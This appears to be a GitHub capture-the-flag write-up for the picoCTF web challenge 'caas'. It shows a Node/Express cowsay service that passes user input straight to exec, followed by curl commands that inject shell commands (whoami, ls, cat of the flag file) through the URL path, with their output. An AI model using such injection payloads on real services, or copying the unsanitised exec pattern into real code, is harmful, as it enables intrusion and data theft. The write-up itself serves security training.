Skip to content

Latest commit

 

History

History
169 lines (142 loc) · 4.24 KB

File metadata and controls

169 lines (142 loc) · 4.24 KB

caas

Challenge information

Points: 150
Tags: picoMini by redpwn, Web Exploitation
Author: BROWNIEINMOTION

Description:
Now presenting cowsay as a service

Hints:
(None)

Challenge link: https://play.picoctf.org/practice/challenge/202

Solution

Analyze the code

Let's start by browsing to the web site and see what we find.
The following text is displayed

Cowsay as a Service

Make a request to the following URL to cowsay your message:
https://caas.mars.picoctf.net/cowsay/{message}

Let's also check the HTML source code. Press CTRL + U or right-click anywhere on the background and select View page source

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="styles.css"/>
        <script src="index.js"></script>
        <title>CaaS</title>
    </head>
    <body>
        <h1>Cowsay as a Service</h1>
        <strong>Make a request to the following URL to cowsay your message:</strong>
        <br>
        <code></code>
    </body>
</html>

Nothing much to see there. But there is also a index.js script. Let's check that

(async () => {
  await new Promise(r => window.addEventListener('load', r));
  document.querySelector('code').textContent =
    `${window.origin}/cowsay/{message}`;
})();

We were also given a index.js from the server side

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

Ah, we can see that whatever message we send gets executed with exec.
Maybe we can use command injection?

Exploit the service

Let's first just use the service as intended with curl

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl https://caas.mars.picoctf.net/cowsay/picoCTF
 _________
< picoCTF >
 ---------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Let's see if we can inject code, in this case whoami

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;whoami"
 _________
< picoCTF >
 ---------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
node

Yes, we can! And we are running as the node user.

Get the flag

Let's start looking for the flag with ls

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;ls"
 _________
< picoCTF >
 ---------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock

There is a falg.txt file. Sneaky!

Let's try to read it

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;cat falg.txt"
curl: (3) URL using bad/illegal format or missing URL

Ah, forgot to URL encode the space (should be %20)

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;cat%20falg.txt"
 _________
< picoCTF >
 ---------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
picoCTF{<REDACTED>}

For additional information, please see the references below.

References